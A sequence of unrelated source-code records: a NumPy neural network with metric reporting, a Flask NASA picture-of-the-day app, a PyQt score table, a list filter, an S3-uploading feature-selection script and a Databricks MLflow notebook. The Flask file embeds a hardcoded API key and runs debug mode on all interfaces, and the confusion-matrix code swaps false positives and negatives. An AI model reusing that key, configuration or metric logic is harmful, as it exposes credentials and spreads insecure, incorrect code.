Neural Network from scratch\n\n**************************\nThe hyperparameters tuned are-\n\t- np.random.seed(3) - We have used 3 as the seed value as it gave us optimal random values.\n\t- sigmoid - the activation function we have used for our implementation is the sigmoid function.\n\t- mse_loss - This is our loss function. It takes two np arrays and gives us the loss value using Mean Squared Error.\n\t- layers - We have taken 3 layers for our implementation -\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t1) input layer with 9 inputs.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t2) hidden layer with 5 neurons.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t3) output layer with 1 neuron.\n\t- learning rate - The initial learning rate for our implementation is 0.05. We increase it by 0.01\n\t after training our model with one batch of the dataset. Increasing the learning rate prevented \n\t our model from getting stuck in local minima and also helped in training our model better.\n\t- epochs- The iterations of one batch. The number of epochs is tuned at 200 for our model.\n\t- 0.6 is our deciding factor to determine as to which label it will belong to i.e 1 or 0.\n\t If output is greater than or equal to 0.6 then we assign it a value of 1 otherwise 0.\n\t- Our dataset is split into an 80-20 train test data. ue to the small size of the dataset\n\t we decided to go with 80-20 instead of 70-30\n\t- Our training data is further split into random batches of 70-30 to randomize input, therfore \n\t increasing efficiency and accuracy.\n'''\n# importing modules\nimport numpy as np\t\t# for mathematical calculations and handling array operations \nimport pandas as pd \t# for reading and handling data\nfrom sklearn.model_selection import train_test_split\t# to split dataset into test set and training set\n\nnp.seterr(all='ignore')\nnp.random.seed(3)\n\n# sigmoid activation function\ndef sigmoid(x):\n\tx = np.float32(x)\n\treturn 1/(1+ np.exp(-x))\n\n# differential of sigmoid function \ndef sigmoidDerivative(x):\n\tx = np.float32(x)\n\to = sigmoid(x)\n\treturn o * (1 - o)\n\n# MSE loss function \ndef mse_loss(truey, predy):\n return (((truey - predy) ** 2).mean())\n\n# typecasting dataset\n''' This function takes the dataset, converts each column into a list and the for loop organises it in the proper \n\tform of input and output.\n\tThis function makes our dataset ready for our model implementation.\n'''\ndef typecastData(df):\n\tcommunity = df['Community'].tolist()\n\tage = df['Age'].tolist()\n\tweight = df['Weight'].tolist()\n\tdelphase = df['Delivery phase'].tolist()\n\thb = df['HB'].tolist()\n\tifa = df['IFA'].tolist()\n\tbp = df['BP'].tolist()\n\teducation = df['Education'].tolist()\n\tresidence = df['Residence'].tolist()\n\ty = df['Result'].tolist()\n\n\tX = []\n\tfor i in range(df.shape[0]):\n\t\t\tX.append([community[i], age[i], weight[i], delphase[i],\n\t\t\t\t\t\t\t\thb[i], ifa[i], bp[i], education[i], residence[i]])\n\treturn X, y\n\n# Class neural network\nclass NN:\n\tdef __init__(self, layers=[9, 5, 1]):\t\t#Optional implementation to change layers and neurons. DO NOT CHANGE the number of layers as that part is hardcoded.\n\t\t\t\t\t\t\t\t\t\t\t\t#You can change the hidden layers and see the difference in output.\n\t\tself.weights = []\n\t\tself.biases = []\n\t\tself.layers = layers\n\t\tx = 0\n\t\tfor i in self.layers[1:]:\n\t\t\tfor k in range(i):\n\t\t\t\ttlist = []\n\t\t\t\tfor j in range(self.layers[x]):\n\t\t\t\t\ttlist.append(np.random.randn())\t\t# Initializing weights to random values set by our seed value\n\t\t\t\tself.weights.append(tlist)\n\t\t\tx += 1\n\t\t#print(self.weights)\n\n\t\tmyiter = sum(self.layers[1:])\n\t\tfor i in range(myiter):\n\t\t\tself.biases.append(np.random.random())\t\t#Initialising bias to random values set by our seed value\n\t\t#print(self.biases)\n\n\tdef forwardProp(self, x):\n\t\t'''\n\t\tThis function calculates weight*input + bias value for every neuron and passes it through the \n\t\tactivation\tfunction to get the final output with current values\n\t\t'''\n\t\tsumLayer = []\n\t\ta = 0\n\t\tfor i in range(self.layers[1]):\n\t\t\ttlist = []\n\t\t\tfor j in range(len(self.weights[a])):\n\t\t\t\ttlist.append(self.weights[a][j]*x[j])\n\t\t\ttlist.append(self.biases[a])\n\t\t\tsumLayer.append(sigmoid(sum(tlist)))\t#sumLayer stores the value which is to be propogated to the next layer\n\t\t\ta += 1\n\t\ttlist2 = []\n\t\tfor i in range(len(self.weights[a])):\n\t\t\ttlist2.append(self.weights[a][i]*sumLayer[i])\t#tlist2 combines the output of neuron with weights to pass to the next layer\n\t\ttlist2.append(self.biases[a])\n\t\to = sigmoid(sum(tlist2))\n\t\treturn o\n\n\tdef fit(self,X,Y,lr = 0.05):\n\t\t'''\n\t\tFunction that trains the neural network by taking x_train and y_train samples as input.\n\t\tDefault learning rate for the model is set to 0.05. Can be changed.\n\t\tEpochs is set to 200 here.\n\t\t'''\n\t\tepochs = 200\n\t\tfor epoch in range(epochs):\n\t\t\tfor x,truey in zip(X,Y):\n\t\t\t\tsumLayer = []\n\t\t\t\t# FINDING THE FEEDFORWARD OUTPUT AND SUM OF EVERY LAYER\n\t\t\t\ta = 0\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\ttlist = []\n\t\t\t\t\tfor j in range(len(self.weights[a])):\n\t\t\t\t\t\ttlist.append(self.weights[a][j]*x[j])\n\t\t\t\t\ttlist.append(self.biases[a])\n\t\t\t\t\tsumLayer.append(sigmoid(sum(tlist)))\t#tlist contains the values weight*input + biases for layer 1\n\t\t\t\t\ta += 1\n\t\t\t\ttlist2 = []\n\t\t\t\tfor i in range(len(self.weights[a])):\n\t\t\t\t\ttlist2.append(self.weights[a][i]*sumLayer[i])\n\t\t\t\ttlist2.append(self.biases[a])\n\t\t\t\toSum = sum(tlist2)\n\t\t\t\tsumLayer.append(oSum)\n\t\t\t\tpredy = sigmoid(oSum)\n\n\t\t\t\tder_predy = -2 * (truey - predy)\t#der_predy holds the derived error\n\n\t\t\t\t#Calculating the derivative of any value wrt the bias\n\t\t\t\tder_any_wrt_b = []\n\t\t\t\tfor i in range(len(self.biases)):\n\t\t\t\t\tder_any_wrt_b.append(sigmoidDerivative(sumLayer[i]))\n\t\t\t\t\n\t\t\t\t#Calculating the derivative of hidden layer input wrt weights\n\t\t\t\tder_h_wrt_w = []\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\ttemp = []\n\t\t\t\t\tfor j in range(len(self.weights[i])):\n\t\t\t\t\t\ttemp.append(x[j]*sigmoidDerivative(sumLayer[i]))\n\t\t\t\t\tder_h_wrt_w.append(temp)\n\t\t\t\t\n\t\t\t\t#Calculating the derivative of predicted value wrt hidden layer\n\t\t\t\tder_predy_wrt_h = []\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\tder_predy_wrt_h.append(self.weights[-1][i]*sigmoidDerivative(oSum))\n\n\t\t\t\t#Calculating the derivative of predicted value wrt certain weights\n\t\t\t\tder_predy_wrt_w = []\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\tder_predy_wrt_w.append(sumLayer[i]*sigmoidDerivative(oSum))\n\t\t\t\t\n\t\t\t\t# chain differentiation and multiplication to alter further value. Back Propogation for hidden layer.\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\tfor j in range(len(self.weights[i])):\n\t\t\t\t\t\tself.weights[i][j] -= lr * der_predy * der_predy_wrt_h[i] * der_h_wrt_w[i][j]\n\t\t\t\t\tself.biases[i] -= lr * der_predy * der_predy_wrt_h[i] * der_any_wrt_b[i]\n\n\t\t\t\t# updating weights and biases of output layer\n\t\t\t\tfor i in range(self.layers[1]):\n\t\t\t\t\tself.weights[-1][i] -= lr * der_predy * der_predy_wrt_w[i]\n\t\t\t\tself.biases[-1] -= lr * der_predy * der_any_wrt_b[-1]\n\n\t\n\tdef predict(self,X):\n\n\t\t\"\"\"\n\t\tThe predict function performs a simple feed forward of weights\n\t\tand outputs yhat values \n\n\t\tyhat is a list of the predicted value for df X\n\t\t\"\"\"\n\t\t# simple forward propagation \n\t\tyhat = []\n\t\tfor x in X:\n\t\t\tyhat.append(self.forwardProp(x))\n\t\treturn yhat\n\n\n\tdef CM(self, y_test, y_test_obs):\n\t\t'''\n\t\tPrints confusion matrix \n\t\ty_test is list of y values in the test dataset\n\t\ty_test_obs is list of y values predicted by the model\n\n\t\t'''\n\n\t\tfor i in range(len(y_test_obs)):\n\t\t\tif(y_test_obs[i]>0.6):\n\t\t\t\ty_test_obs[i]=1\n\t\t\telse:\n\t\t\t\ty_test_obs[i]=0\n\t\t\n\t\tcm=[[0,0],[0,0]]\n\t\tfp=0\n\t\tfn=0\n\t\ttp=0\n\t\ttn=0\n\t\t\n\t\tfor i in range(len(y_test)):\n\t\t\tif(y_test[i]==1 and y_test_obs[i]==1):\n\t\t\t\ttp=tp+1\n\t\t\tif(y_test[i]==0 and y_test_obs[i]==0):\n\t\t\t\ttn=tn+1\n\t\t\tif(y_test[i]==1 and y_test_obs[i]==0):\n\t\t\t\tfp=fp+1\n\t\t\tif(y_test[i]==0 and y_test_obs[i]==1):\n\t\t\t\tfn=fn+1\n\t\tcm[0][0]=tn\n\t\tcm[0][1]=fp\n\t\tcm[1][0]=fn\n\t\tcm[1][1]=tp\n\n\t\t# applying formulae \n\t\tp= tp/(tp+fp)\n\t\tr=tp/(tp+fn)\n\t\tf1=(2*p*r)/(p+r)\n\t\ta = (tp+tn)/(tp+tn+fp+fn)\n\n\t\t# displaying out \n\t\tprint(\"Confusion Matrix : \")\n\t\tprint(cm)\n\t\tprint(\"\\n\")\n\t\tprint(f\"Precision : {p}\")\n\t\tprint(f\"Recall : {r}\")\n\t\tprint(f\"F1 SCORE : {f1}\")\n\t\tprint(f\"Accuracy: {a*100}%\")\n\n# ----------------MAIN CODE----------------\n\n# reading data \ndata = pd.read_csv('../data/cleaned_Dataset.csv')\ndf = pd.DataFrame(data)\n\nX, y = typecastData(df)\n\n# splitting dataset into training and test sets \nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n# model creation \nmodel = NN()\n\nlr = 0.05\n# training with batches of training data (BATCH PROCESSING)\nfor i in range(2):\n\ta,b,c,d = train_test_split(X_train,y_train,test_size = 0.7)\n\tmodel.fit(a,c,lr)\n\tlr = lr + 0.01\n\n# prediction \ny_pred_train = model.predict(X_train)\ny_pred_test = model.predict(X_test)\n\n# confusion matrix printing for final accuracy\nprint('*'*50)\nprint(\"\\nTraining Accuracy\")\nmodel.CM(y_train, y_pred_train)\nprint('*'*50)\nprint(\"\\nTesting Accuracy\")\nmodel.CM(y_test, y_pred_test)","repo_name":"shaashwatjain/Initial-Neural-Network-in-python","sub_path":"src/Neural_Net.py","file_name":"Neural_Net.py","file_ext":"py","file_size_in_byte":8757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41042302962","text":"from flask import Flask, render_template, request, json, jsonify, current_app as app \nfrom datetime import date\nimport os\nimport requests\n\napp = Flask(__name__)\n\n@app.route('/')\n\n@app.route('/nasa')\ndef nasa():\n today = str(date.today())\n response = requests.get('https://api.nasa.gov/planetary/apod?api_key=0hnWqUOzCWnNqLNddglJPGiG56sTs0PXg2hPY7MV&date='+today)\n\n data = response.json()\n\n return render_template('nasa.html', data=data)\n\n\nif __name__ == '__main__':\n app.run(debug = True, host = '0.0.0.0')","repo_name":"smartinez03/teamedge-flask-projects","sub_path":"NASA/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25893882843","text":"from PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\n\nfrom domain.models.params import Params\nfrom gui import const\n\n\nclass GameTableDialog(QDialog):\n\n def __init__(self, players, parent):\n super().__init__(parent)\n\n self.players = players\n self.params: Params = parent.params\n self.game_table = None\n\n self.users_color = (self.params.color_player_1(), self.params.color_player_2(), self.params.color_player_3(),\n self.params.color_player_4())\n self.users_bg = (self.params.bg_player_1(), self.params.bg_player_2(), self.params.bg_player_3(),\n self.params.bg_player_4())\n\n self.setWindowTitle('Запись ��ода игры')\n self.setModal(True)\n self.setWindowFlags(self.windowFlags() & ~Qt.WindowContextHelpButtonHint)\n\n if self.params.bg_texture():\n bg = QPixmap(self.params.bg_texture())\n else:\n bg = QColor(self.params.bg_color())\n\n pal = QPalette()\n pal.setBrush(QPalette.Window, QBrush(bg))\n self.setPalette(pal)\n\n self.btn = QPushButton(\"Продолжить\")\n self.btn.setFixedHeight(50)\n f = self.btn.font()\n f.setWeight(65)\n f.setPointSize(12)\n self.btn.setFont(f)\n self.btn.setStyleSheet('QPushButton {background-color: %s; color: %s}' %\n (self.params.bg_buttons_2(), self.params.color_buttons_2()))\n self.btn.clicked.connect(self.close)\n\n # table\n self.header = QTableWidget(self)\n self.header.setStyleSheet('QTableWidget {background-color: %s}' % self.params.bg_color())\n self.header.setColumnCount(len(self.players) * 4 + 1)\n self.header.setRowCount(2)\n self.header.setItem(0, 0, QTableWidgetItem(' '))\n\n i = 1\n for p in self.players:\n n = i + 3\n self.header.setItem(0, i, QTableWidgetItem(p.name))\n self.header.setSpan(0, i, 1, 4)\n i = n + 1\n\n self.header.setItem(1, 0, QTableWidgetItem('Кон'))\n\n for i, cap in enumerate(['Заказ', 'Взял', 'Очки', 'Счет'] * len(self.players), 1):\n self.header.setItem(1, i, QTableWidgetItem(cap))\n\n self.set_column_style(self.header, 0, 0, 1, Qt.AlignHCenter, self.params.color_buttons_2(),\n self.params.bg_buttons_2(), 13, 75)\n self.header.item(0, 0).setBackground(QColor(self.params.bg_color()))\n\n j = 1\n for i in range(len(self.players)):\n for _ in range(4):\n self.set_column_style(self.header, j, 0, 1, Qt.AlignHCenter, self.users_color[i], self.users_bg[i], 13, 75)\n j += 1\n\n # автоподбор ширины колонок по содержимому\n # self.table.resizeColumnsToContents()\n # автоподгон ширины колонок по ширине таблицы\n self.header.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n # запрет на редактирование ячеек\n self.header.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.header.verticalHeader().setVisible(False)\n self.header.horizontalHeader().setVisible(False)\n self.header.setFixedHeight(76)\n\n self.table = QTableWidget(self)\n self.table.setStyleSheet('QTableWidget {background-color: %s}' % self.params.bg_color())\n self.table.setColumnCount(len(self.players) * 4 + 1)\n self.table.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\n self.table.setEditTriggers(QAbstractItemView.NoEditTriggers)\n self.table.verticalHeader().setVisible(False)\n self.table.horizontalHeader().setVisible(False)\n\n self.form = QFormLayout()\n self.form.addRow(self.header)\n self.form.addRow(self.table)\n self.form.addRow(self.btn)\n\n self.setLayout(self.form)\n self.setFixedSize(*const.WINDOW_SIZE)\n self.resize(*const.WINDOW_SIZE)\n\n def set_column_style(self, table, col, start, stop, alignment, color, bg_color, font_size, font_weight):\n \"\"\"\n Задает оформление ячейкам колонки таблицы в заданном диапазоне строк\n\n :param table: таблица, к которой применяем стиль\n :param int col: индекс колонки\n :param int start: индекс строки, с которой начать, включительно\n :param int stop: индекс строки, которой закончить, включительно\n :param alignment: выравнивание\n :param str color: цвет текста\n :param str bg_color: цвет фона ячейки\n :param int font_size: размер шрифта\n :param int font_weight: жирность шрифта\n \"\"\"\n\n for row in range(start, stop + 1):\n item = table.item(row, col)\n if item:\n item.setTextAlignment(alignment) # Qt.AlignHCenter\n item.setForeground(QColor(color))\n item.setBackground(QColor(bg_color))\n f = item.font()\n f.setWeight(font_weight)\n f.setPointSize(font_size)\n item.setFont(f)\n\n def add_row(self, row, colors):\n \"\"\"\n Добавить строку к таблице\n\n :param list row: список значений ячеек от первой колонки до последней\n :param dict colors: цвета текста\n \"\"\"\n\n self.table.setRowCount(self.table.rowCount() + 1)\n r = self.table.rowCount() - 1\n\n for i, s in enumerate(row):\n item = QTableWidgetItem(f'{s}')\n item.setToolTip(item.text())\n self.table.setItem(r, i, item)\n\n self.set_column_style(self.table, 0, r, r, Qt.AlignHCenter, colors[0], self.params.bg_buttons_2(), 13, 70)\n\n j = 1\n for i in range(len(self.players)):\n for x in range(4):\n self.set_column_style(self.table, j, r, r, Qt.AlignHCenter, colors[j], self.users_bg[i], 13, 70)\n j += 1\n\n # self.table.resizeColumnsToContents()\n # self.table.verticalScrollBar().setSliderPosition(r)\n self.table.scrollToBottom()\n","repo_name":"vyacheslav99/Poker","sub_path":"gui/game_table.py","file_name":"game_table.py","file_ext":"py","file_size_in_byte":6459,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"7984546105","text":"'''2. Write a script to remove an empty elements from a list.\n Test list: [(), ('hey'), ('',), ('ma', 'ke', 'my'), [''], {}, ['d', 'a', 'y'], '', []]'''\n\nTest_list = [(), ('hey'), ('',), ('ma', 'ke', 'my'), [''], {}, ['d', 'a', 'y'], '', []]\n\nFiltered_list = []\n\nfor del_element in Test_list:\n if del_element:\n Filtered_list.append(del_element)\n\nprint(f'Test list: {Test_list}')\n\nprint(f'Filtered_list: {Filtered_list}')","repo_name":"Rosgard2012/homework_for_geekhub","sub_path":"HT_03/task_2.py","file_name":"task_2.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40832364603","text":"# Perform feature selection using Recursive Feature Elimination, with a 5-fold cross-validation\n\n# Import packages\nimport os\nimport sys\nimport pandas as pd\nimport numpy as np\nimport imblearn\nfrom imblearn.ensemble import BalancedRandomForestClassifier\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.feature_selection import RFECV\nfrom sklearn.preprocessing import StandardScaler,FunctionTransformer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.compose import ColumnTransformer\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n#import json\n#mport gridfs\nimport boto3\nimport requests\n\n### Set working directory ###\n##os.chdir(\"\")\n\n### Import and prepare data for RFE\n# Import cleaned, unstandardised dataset\ns3_resource = boto3.resource('s3')\ns3_client = boto3.client('s3')\n\nprojectID = sys.argv[5] #req.body.projectId,\ntoken =sys.argv[6] # req.headers.token,\nprocessID = sys.argv[7] # processIdentifier,\n\ntry:\n\n\tinFile = sys.argv[2] # file to perform feature_selection on\n\tFile = pd.read_csv(inFile, index_col=False)\n\n\t# Remove individuals with missing data to create a subset of individuals with only complete data\n\tNew_File = File.dropna()\n\tNew_File.drop(New_File.filter(regex=\"Unname\"),axis=1, inplace=True)\n\t# Separate the features (X) and outcome (Y) in paraparation for feature selection\n\toutc=sys.argv[4] #text box which is the outcome which is sys.arg[2] = Asthma_10YR, which should be entered in the textbox on the front end, that would display OUTCOME NAME \n\tstudy=sys.argv[3] #sys.arg[3] = Study_ID, the study group which should be entered in the textbox on the frontend, which will display STUDY/INDEX NAME\n\tfilenamee=sys.argv[1] #new name for the file output\n\n\tstudy_1 = New_File[study]\n\toutc_1 = New_File[outc]\n\t\n\toutc_Y=New_File[[outc]]\n\tdataset_X=New_File.drop([outc] , axis='columns')\n\tdataset_X=dataset_X.drop([study], axis=1)\n\n\tCatergorical = dataset_X.select_dtypes(exclude=['number'])\n\t\n\tBinary=[col for col in dataset_X if np.isin(dataset_X[col].unique(), [0, 1]).all() ]\n\tContinousVariable= dataset_X[dataset_X.columns.drop(Catergorical)]\n\tContinousVariable= ContinousVariable[ContinousVariable.columns.drop(Binary)]\n\tCatergorical_1 = [dataset_X.columns.get_loc(processID) for processID in list(Catergorical.columns) if processID in dataset_X]\n\t#Catergorical_1 = column_index(Catergorical, [Catergorical])\n\tBinary = New_File[Binary]\n\n\tdataset_X = dataset_X[dataset_X.columns.drop(ContinousVariable)]\n\n\tXs = pd.concat([ContinousVariable,dataset_X], axis=1)\n\t\n\t#Define parameters for random forest algorithm to used for RFE (used default settings here) \n\tbest_param1= {'bootstrap': True,'criterion': 'gini', 'max_depth': None, 'max_features': 'sqrt', 'min_samples_split': 2, 'n_estimators': 100}\n\n\t# Used a balanced random forest classifier to account for the class imbalance in the dataset\n\tbclf = BalancedRandomForestClassifier(n_estimators=best_param1[\"n_estimators\"],max_depth=best_param1[\"max_depth\"],\n\t\t\t\t\t\t\t\tmin_samples_split =best_param1[\"min_samples_split\"],max_features=best_param1[\"max_features\"],random_state=123)\n\n\tpal = list(ContinousVariable.columns)\n\t#### Define the RFE process ###\n\t# uses the balanced random forest classifer defined above, \n\t# within a stratified 5-fold cross-validation (random states specfified to ensure the same splits each time, making it reproducible)\n\t# feature subset will be decided based on those that construct the model with the best 'score', in this case, the model performing with the best balanced accuracy (due to the class imbalance)\n\trfecv = RFECV(estimator=bclf, step=1, cv=StratifiedKFold(5,random_state=123),\n\t\t\t\tscoring='balanced_accuracy')\n\n\n\n\t# Outline a pipeline to: standardise the continuous features > leave the categorical untouched > perform RFE\t\t\t \n\testimators = Pipeline([\n\t\t('standardising', Pipeline([\n\t\t\t('select', ColumnTransformer([\n\t\t\t\t('scale', StandardScaler(), pal )\n\t\t\t\t],\n\t\t\t\tremainder='passthrough')\n\t\t\t)\n\t\t])),\n\t('bclf', rfecv)\t\n\t])\n\n\t# Apply RFE to data\n\n\tXs = Xs[(list(Xs.columns))]\n\n\tle = preprocessing.LabelEncoder()\n\n\tXs[Catergorical.columns] = Xs[Catergorical.columns].apply(le.fit_transform)\n\t#X[Catergorical.columns] = le.fit_transform(list(Catergorical.columns))\n\n\n\tfit=estimators.fit(Xs, outc_Y.values.ravel())\n\n\t### Extract results ###\n\t# Label the features identified as belonging to the optimal subset of predictors\n\tlist = []\n\tfor i in range(0, 57):\n\t\tif rfecv.ranking_[i] == 1:\n\t\t\tlist.append(Xs.columns.values[i])\n\n\t# Print the optimal number of features\n\tprint(\"Optimal number of features : %d\" % rfecv.n_features_)\n\n\n\t# Print the accuracy score that was obtained with the optimal number of features identified \n\tprint(\"Balanced Accuracy: \\n\", rfecv.grid_scores_[11]) # n features - 1 for indexing i.e. if the optimall subset included 12 features, 11 should be specified in this line of code\n\n\t# Print the list of features belonging to the optimal subset of predictors\n\tprint(\"Feature Selected: \\n\",list)\n\n\t\n\t#outlier_removed = pd.concat([study_1,New_File,outc_1], axis=1)\n\tdf = pd.DataFrame(New_File)\n\tdf = df.loc[:, list]\n\tdf = pd.concat([study_1,df,outc_1], axis=1)\n\tdf.to_csv(filenamee+'_Feature_selected.csv')\n\n\n\t# Generate a plot for the number of features against their cross-validation scores\n\tplt.figure()\n\tplt.xlabel(\"Number of features selected\")\n\tplt.ylabel(\"Cross-validation balanced accuracy score\")\n\tplt.plot(range(1, len(rfecv.grid_scores_) + 1), rfecv.grid_scores_)\n\tplt.tight_layout()\n\tplt.savefig(filenamee+'_Feature_selection_graph.pdf')\n\ts3_resource.meta.client.upload_file(\n\t\tFilename=filenamee+'_Feature_selected.csv', Bucket='superlearner', Key=filenamee+'_Feature_selected.csv')\n\n\ts3_resource.meta.client.upload_file(\n\t\tFilename=filenamee+'_Feature_selection_graph.pdf', Bucket='superlearner', Key=filenamee+'_Feature_selection_graph.pdf')\n\n\tkey= filenamee+'_Feature_selected.csv'\n\tkey_two =filenamee+'_Feature_selection_graph.pdf'\n\tbucket = 'superlearner'\n\tNew_url = f\"https://{bucket}.s3.eu-west-2.amazonaws.com/{key}\"\n\tNew_url_two = f\"https://{bucket}.s3.eu-west-2.amazonaws.com/{key_two}\"\n\n\n\t\t# defining the api-endpoint \n\tAPI_ENDPOINT = \"https://file-ms-api.superlearnerscripts.com/process/complete_dpp\"\n\tpayload = { \"projectId\": projectID,\"processId\": processID,\"location\": New_url, \"location_two\":New_url_two, \"name\": key, \"name_two\":key_two,\n\t\"type\": \"csv\", \"type_two\":\"pdf\"}\n\theaders = {'token': token}\n\tresponse = requests.post(API_ENDPOINT, data = payload, headers= headers)\n\nexcept Exception as ex:\n \n name = sys.argv[1]\n #key= filenamee+'_Feature_selected.csv'\n API_ENDPOINT_fail = \"https://file-ms-api.superlearnerscripts.com/process/failed\"\n payload = {\"processId\": processID, \"projectId\":projectID, \"name\":name, \"reason\":ex}\n headers = {'token': token}\n respnoses = requests.post(API_ENDPOINT_fail, data = payload, headers= headers)","repo_name":"pope-capable/Superlearner-fileManger","sub_path":"api/server/controllers/scripts/Feature_Selection_RFE.py","file_name":"Feature_Selection_RFE.py","file_ext":"py","file_size_in_byte":6861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24806321069","text":"# Databricks notebook source\n# MAGIC %md # MLflow batch inference when using Azure Machine Learning (AML) as tracking server\n# MAGIC \n# MAGIC This notebook shows how to load a model previously logged via MLflow and use it to make predictions on data in different formats. The notebook includes three examples of applying the model in batch:\n# MAGIC * as a scikit-learn model to a pandas DataFrame\n# MAGIC * as mlflow pyfunc UDF\n# MAGIC * as a classic PySpark UDF to a Spark DataFrame\n# MAGIC * as a chached Pandas UDF using iterator\n# MAGIC \n# MAGIC ## Requirements\n# MAGIC * If you are using a cluster running Databricks Runtime, you must install MLflow. Use 'mlflow' python lib with %pip install mlflow or install mflow as lib on the cluster.\n# MAGIC * If you are using a cluster running Databricks Runtime ML, MLflow is already installed.\n# MAGIC * Create an Azure ML workspace and a Service Principal to use for access.\n# MAGIC \n# MAGIC ## Prerequsite\n# MAGIC * This notebook uses the ElasticNet models from \"1. MLflow train and log (AML Tracking server)\"\n\n# COMMAND ----------\n\n# Connect to AML WS using SP\nimport os\nfrom azureml.core import Workspace\nfrom azureml.core.authentication import ServicePrincipalAuthentication\n\nglobal ws\nws = None\n\ndef get_aml_ws(tenant_id, sp_id, sp_secret, subscription_id, resource_group, aml_workspace_name, force: bool = False) -> Workspace:\n global ws\n if(force or not ws):\n svc_pr = ServicePrincipalAuthentication(\n tenant_id=tenant_id,\n service_principal_id=sp_id,\n service_principal_password=sp_secret)\n\n ws = Workspace(subscription_id=subscription_id, resource_group=resource_group, workspace_name=aml_workspace_name, auth=svc_pr)\n return ws\n else:\n return ws\n\n# COMMAND ----------\n\nimport mlflow\n\n# Config\nsp_id = dbutils.secrets.get(scope=\"databricks\", key=\"azureml-ws-databricks-sp-appid\")\nsp_secret = dbutils.secrets.get(scope=\"databricks\", key=\"azureml-ws-databricks-sp-secret\")\ntenant_id = dbutils.secrets.get(scope=\"databricks\", key=\"tenant-id-mh-sub\")\nsubscription_id = dbutils.secrets.get(scope=\"databricks\", key=\"subscriptionId\")\nresource_group = \"Databricks\"\naml_workspace_name = \"azureml-ws-databricks\"\n\n# Authenticate AML WS via SP\nws = get_aml_ws(tenant_id=tenant_id, sp_id=sp_id, sp_secret=sp_secret, subscription_id=subscription_id, resource_group=resource_group, aml_workspace_name=aml_workspace_name)\nws.get_mlflow_tracking_uri()\nmlflow.set_tracking_uri(ws.get_mlflow_tracking_uri())\nprint(\"Using AML workspace {} at location {}\".format(ws.name, ws.location))\n\n# COMMAND ----------\n\n# MAGIC %md ## Find and copy the run ID of the run that created the model\n# MAGIC \n# MAGIC Find and copy a run ID associated with an ElasticNet training run from the '1. MLflow train and log (AML Tracking server)' notebook. The run ID can be found by searching the experiment or look in the AML WS UI. \n# MAGIC \n# MAGIC Reach you AML workspaces list see: ([List AML WS in portal](https://ms.portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.MachineLearningServices%2Fworkspaces)).\n\n# COMMAND ----------\n\nrun_id1 = \"0babbc78-6ba6-4ff1-833e-2cc9ad5c6b65\" # replace with your run_id\ninput_run_id = dbutils.widgets.get(\"run_id\")\nif(input_run_id):\n run_id1 = input_run_id\nmodel_uri = \"runs:/\" + run_id1 + \"/model\"\nprint(\"Will use model uri:\", model_uri)\n\n# COMMAND ----------\n\nmlflow.get_tracking_uri()\n\n# COMMAND ----------\n\n# MAGIC %md ## Load the model as a scikit-learn model by RunId\n# MAGIC Use the MLflow API to load the model from the MLflow server (AML) that was created by the run. After loading the model, you can use just like you would any scikit-learn model. \n\n# COMMAND ----------\n\n# We can fetch and load the model by providing the run_id only\nimport mlflow.sklearn\nmodel = mlflow.sklearn.load_model(model_uri=model_uri)\nmodel.coef_\n\n# COMMAND ----------\n\n# download model from run to /dbfs/ temp dir (in case you want to install dependencies via %pip)\nfrom mlflow.tracking.client import MlflowClient\ndbutils.fs.mkdirs(\"dbfs:/downloads/temp\")\nMlflowClient().download_artifacts(run_id=run_id1, path=\"model\", dst_path=\"/dbfs/downloads/temp\")\ndbutils.fs.ls(\"dbfs:/downloads/temp/model\")\n\n# COMMAND ----------\n\n# Import required libraries\nfrom sklearn import datasets\nimport numpy as np\nimport pandas as pd\n\n# Load diabetes datasets\ndiabetes = datasets.load_diabetes()\nX = diabetes.data\ny = diabetes.target\n\n# Create pandas DataFrame for sklearn ElasticNet linear_model\nY = np.array([y]).transpose()\nd = np.concatenate((X, Y), axis=1)\ncols = ['age', 'sex', 'bmi', 'bp', 's1', 's2', 's3', 's4', 's5', 's6', 'progression']\ndata = pd.DataFrame(d, columns=cols)\n\n# COMMAND ----------\n\n# For the purposes of this example, create a small Spark DataFrame. This is the original pandas DataFrame without the label column.\ndataframe = spark.createDataFrame(data.drop([\"progression\"], axis=1))\n\n# COMMAND ----------\n\n# Get a prediction for a row of the dataset\nmodel.predict(data[0:1].drop([\"progression\"], axis=1))\n\n# COMMAND ----------\n\n# MAGIC %md ## Create a mlflow pyfunc PySpark UDF and use it for batch inference\n# MAGIC In this section, you use the MLflow API to create a PySpark UDF from the model you saved to MLflow. For more information, see [Export a python_function model as an Apache Spark UDF](https://mlflow.org/docs/latest/models.html#export-a-python-function-model-as-an-apache-spark-udf). \n# MAGIC \n# MAGIC Saving the model as a PySpark UDF allows you to run the model to make predictions on a Spark DataFrame. \n\n# COMMAND ----------\n\n# Create the PySpark UDF\nimport mlflow.pyfunc\npyfunc_udf = mlflow.pyfunc.spark_udf(spark, model_uri=model_uri)\n\n# COMMAND ----------\n\n\n\n# COMMAND ----------\n\n# MAGIC 